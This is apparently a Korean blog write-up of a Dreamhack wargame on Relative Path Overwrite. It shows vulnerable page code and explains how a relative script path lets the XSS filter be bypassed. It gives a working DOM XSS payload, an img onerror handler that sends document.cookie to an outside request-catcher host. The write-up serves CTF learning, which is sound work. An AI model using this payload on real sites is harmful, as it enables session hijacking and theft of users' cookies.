반응형
문제 설명
Relative Path Overwrite에서 실습하는 문제이다.
문제 풀이
vuln.php
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
src로 filter.js를 상대경로로 불러오고 있다. 해당 js파일은 XSS 공격을 필터링하기 위한 코드가 포함되어 있는 파일이다. 하지만 filter.js를 상대경로로 불러오고 있기 때문에 Relative-path-Overwrite(RPO) 취약점이 발생할 수 있다.
그림 1은 vuln페이지에 접속하였을 때 나타나는 화면이다. filter.js로 필터링할 문자열들을 불러오고 있다.
index.php를 /?page 사이에 입력하여도 정상적으로 화면이 출력된다. 하지만 filter.js는 상대 경로로 되어있으니 /index.php/filter.js를 참조하기 때문에 XSS 필터링을 우회할 수 있다.
공격 코드(report 페이지에서 요청)
index.php/?page=vuln¶m=<img src=@ onerror=location.href="https://pkeoluk.request.dreamhack.games/"%2bdocument.cookie>
해당 XSS는 DOM XSS이기때문에 script 태그를 이용한 공격은 불가능하다. 따라서 img 태그에 onerror를 이용하여 쿠키를 공격자 서버에 전송하는 시나리오로 진행하였다.
플래그
공격자 서버에 사용자의 쿠키가 성공적으로 전송되었다.
반응형
'WEB hacking > 드림핵(dreamhack)' 카테고리의 다른 글
드림핵 simple_sqli_chatgpt WriteUp (2) | 2023.09.09 |
---|---|
드림핵 Relative Path Overwrite Advanced WriteUp (0) | 2023.09.09 |
드림핵 blind-command WriteUp (0) | 2023.09.04 |
드림핵 Carve Party WriteUp (0) | 2023.09.04 |
드림핵 XSS Filtering Bypass WriteUp (0) | 2023.08.25 |